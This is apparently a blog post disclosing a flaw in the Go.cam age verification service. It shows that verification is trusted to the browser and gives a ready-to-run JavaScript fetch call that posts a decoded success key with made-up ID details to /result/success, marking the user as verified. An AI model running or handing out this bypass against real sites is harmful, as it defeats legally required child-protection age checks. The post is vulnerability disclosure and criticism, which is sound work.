Bypassing Popular Age Verification Service Go.cam

Background

After the United Kingdom passed the Online Safety Act 2023 went into effect in July 2025, many websites started forcing users to verify their age before accessing content deemed inappropriate for minors (this includes sites like YouTube, Spotify, etc., along with adult sites). This is also the case in the United States, where some states like Florida have passed similar laws.

One popular age verification service is Go.cam. They offer free “AI Age Verification”. Authorities like the United Kingdom’s Age Check Verification Scheme and Germany’s Commission for the Protection of Minors in the Media (KJM) have “certified” the technology used by Go.cam.

They seem to be quite proud of their regulatory approvals.

Go.cam is licensed under the AGPLv3, but what is running on their servers is not the latest version. I haven’t taken a close look at the backend.

How it works

When you visit a site that uses Go.cam for age verification, you’re presented with a screen like this:

The future of the internet is here!

If there is no webcam detected, you’re prompted to use a phone. I just emulated a webcam with OBS Virtual Camera. I didn’t move past this step, as there is no point. You’ll see below.

Looking underneath

A few TensorFlow.js models are downloaded to the browser. This is done via the deprecated and unmaintained face-api library.

Already a great impression.

The application is quite simple, with only three main JavaScript files: avsFactory.js, common.js, and avs.js.

I took a look through avsFactory.js and found an API call to /result/success that is made when the age verification is successful. It passes through a “successKey” from a server-generated AES-256-GCM encrypted and Base64-encoded JSON string stored in Application.token.

Lazy attempt at obfuscation?

Trivially bypassing age verification

I didn’t look into Avs.Helper.Common.decodeBase64, as it wasn’t really necessary. Anyways, I proceed to make a request to /result/success, and we are in:

The fun part.

Here’s what to run to bypass the age verification:

const by = Avs.Entity.VerificationStepGlobal.instance;
await fetch("/result/success", {
	method: "POST",
	credentials: "include",
	headers: {
		"Content-Type": "application/json",
	},
	body: JSON.stringify({
		token: Avs.Helper.Common.decodeBase64(Application.token).successKey,
		stepId: 3,
		deviceLocationVerification: by.deviceLocationVerification,
		sessionId: by.sessionId,
		partnerId: by.partnerId,
		idCountry: "US",
		idState: "CA",
		idType: "driver_license",
		elapsedTime: 1700000000,
		abCampaign: by.abCampaign,
		websiteId: by.websiteId,
		websiteEnvironment: by.websiteEnvironment,
	}),
});
AvsFactory.StartPage.Method.showPageStep(AvsFactory.StartPage.Config.RESULT_PAGE_SUCCESS_LAYER);

When trying it on a real site, it works fine, but an error is thrown when trying to redirect back (I presumably did not set some assumed application state). Reloading the page shows that the verification was successful, as the /result/success endpoint sets a cookie indicating that the user is verified.

Closing thoughts

In (possibly) an effort to preserve user privacy, Go.cam completely trusts the client to do the age verification. There doesn’t seem to be a good alternative other than uploading to a server, which always ends well. At least they are holding up to their claims of not uploading/retaining images, unlike others.

VerifyAge.io, a “privacy-first age assurance platform”, is based on Go.cam’s open source code. It has the same issue.

Great way to “protect children” with a fundamentally flawed design. How it got “technically certified” by a couple of government authorities is very interesting.

Thanks to the UK and US governments for making this post possible. Until next time.